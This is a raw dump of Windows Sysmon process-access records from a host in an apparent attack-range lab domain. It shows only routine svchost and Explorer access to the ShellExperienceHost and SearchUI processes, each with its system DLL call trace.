14:47:30.239{7BD73061-65B2-613B-0D00-00000000F001}8925232C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0D00-00000000F001}8925232C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0D00-00000000F001}8925232C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0D00-00000000F001}8925232C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a384|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+489d|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a2ed|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+489d|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a2ed|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+12fce|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000046313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000046312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000046311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a384|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+489d|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a2ed|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+489d|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a2ed|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+12fce|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000046307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000046306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000046305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+739b|C:\Windows\SYSTEM32\psmserviceexthost.dll+ae34|C:\Windows\SYSTEM32\psmserviceexthost.dll+7bae|C:\Windows\SYSTEM32\psmserviceexthost.dll+12141|C:\Windows\SYSTEM32\psmserviceexthost.dll+170e8|C:\Windows\SYSTEM32\resourcepolicyserver.dll+12326|C:\Windows\SYSTEM32\resourcepolicyserver.dll+bac5|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-6D0F-613B-9406-00000000F001}44805180C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+15bf06|C:\Windows\System32\TwinUI.dll+83087|C:\Windows\System32\TwinUI.dll+bb7be|C:\Windows\System32\TwinUI.dll+bb789|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-6D0F-613B-9406-00000000F001}44805180C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+15bf06|C:\Windows\System32\TwinUI.dll+83087|C:\Windows\System32\TwinUI.dll+bb7be|C:\Windows\System32\TwinUI.dll+bb789|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\TwinUI.dll+f5319|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+739b|C:\Windows\SYSTEM32\psmserviceexthost.dll+ae34|C:\Windows\SYSTEM32\psmserviceexthost.dll+7bae|C:\Windows\SYSTEM32\psmserviceexthost.dll+12141|C:\Windows\SYSTEM32\psmserviceexthost.dll+170e8|C:\Windows\SYSTEM32\resourcepolicyserver.dll+12326|C:\Windows\SYSTEM32\resourcepolicyserver.dll+bac5|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\TwinUI.dll+4bfa5|C:\Windows\System32\TwinUI.dll+23084|C:\Windows\System32\TwinUI.dll+23138|C:\Windows\System32\TwinUI.dll+2444f|C:\Windows\System32\TwinUI.dll+22a1d|C:\Windows\System32\TwinUI.dll+22871|C:\Windows\System32\TwinUI.dll+3fb180|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0 10341000x800000000000000046299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 